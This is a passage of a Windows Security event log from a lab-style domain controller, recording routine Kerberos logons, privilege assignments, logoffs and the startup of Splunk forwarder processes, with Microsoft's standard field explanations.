-EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255707 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x34EA31 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 64672 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:30:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255706 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x34EA31 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:31:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255709 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xbac - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:31:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255711 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x794 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:31:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255710 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1170 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:31:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255712 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x35c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:31:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255714 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe00 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:31:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255713 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xca4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:31:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255715 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdd0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:31:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255717 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x351501 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {1315B027-D61C-A152-E46C-74A6DCC39304} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64679 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:31:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255716 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x351501 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:31:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255718 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x278 - New Process Name: C:\Windows\System32\rundll32.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x5d8 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\rundll32.exe /d acproxy.dll,PerformAutochkOperations - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:31:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255719 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x351501 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:31:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255722 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3529E3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:31:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255721 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3529E3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 64687 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:31:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255720 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3529E3 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:32:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255728 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x352CA7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:32:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255727 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x352CA7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64690 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:32:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255726 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x352CA7 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:32:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255725 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x352C3B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:32:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255724 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x352C3B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64689 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:32:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255723 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x352C3B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:32:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255740 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3534A1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:32:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255739 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3535CE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:32:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255738 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x353617 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:32:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255737 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x353693 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {250C95BA-D7BE-68DE-E803-AA7B4845FE00} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64695 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). 